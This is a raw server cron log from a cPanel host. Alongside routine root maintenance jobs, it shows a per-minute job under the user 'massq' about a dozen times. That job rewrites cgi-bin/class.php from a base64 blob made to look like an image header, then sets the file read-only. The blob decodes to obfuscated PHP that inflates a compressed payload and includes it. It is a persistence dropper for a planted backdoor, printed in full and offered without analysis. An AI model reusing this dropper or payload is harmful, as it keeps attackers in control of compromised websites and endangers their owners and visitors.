Sep 11 13:56:01 server CROND[9431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:56:01 server CROND[9433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:56:01 server CROND[9432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:57:01 server CROND[9809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:57:01 server CROND[9810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:57:01 server CROND[9811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:57:01 server CROND[9812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:58:01 server CROND[10230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:58:01 server CROND[10231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:58:01 server CROND[10232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:59:01 server CROND[10601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:59:01 server CROND[10603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:59:01 server CROND[10602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:00:01 server CROND[11074]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 14:00:01 server CROND[11075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:00:01 server CROND[11084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:00:01 server CROND[11088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:00:01 server CROND[11091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:00:01 server CROND[11083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:00:01 server CROND[11085]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:00:01 server CROND[11093]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:00:01 server CROND[11086]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 14:00:01 server CROND[11095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:01:01 server CROND[11929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:01:01 server CROND[11930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:01:01 server CROND[11931]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 14:01:01 server CROND[11932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:01:01 server run-parts(/etc/cron.hourly)[11931]: starting 0anacron
Sep 11 14:01:01 server run-parts(/etc/cron.hourly)[11951]: finished 0anacron
Sep 11 14:02:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:02:01 server CROND[12318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:02:01 server CROND[12316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:03:01 server CROND[12713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:03:01 server CROND[12712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:03:01 server CROND[12714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:04:01 server CROND[13089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:04:01 server CROND[13090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:04:01 server CROND[13091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:05:01 server CROND[13565]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 14:05:01 server CROND[13566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:05:01 server CROND[13567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:05:01 server CROND[13570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:05:01 server CROND[13568]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:05:01 server CROND[13572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:05:01 server CROND[13575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:05:01 server CROND[13576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:05:01 server CROND[13574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:06:01 server CROND[14428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:06:01 server CROND[14429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:06:01 server CROND[14430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:07:01 server CROND[14793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:07:01 server CROND[14794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
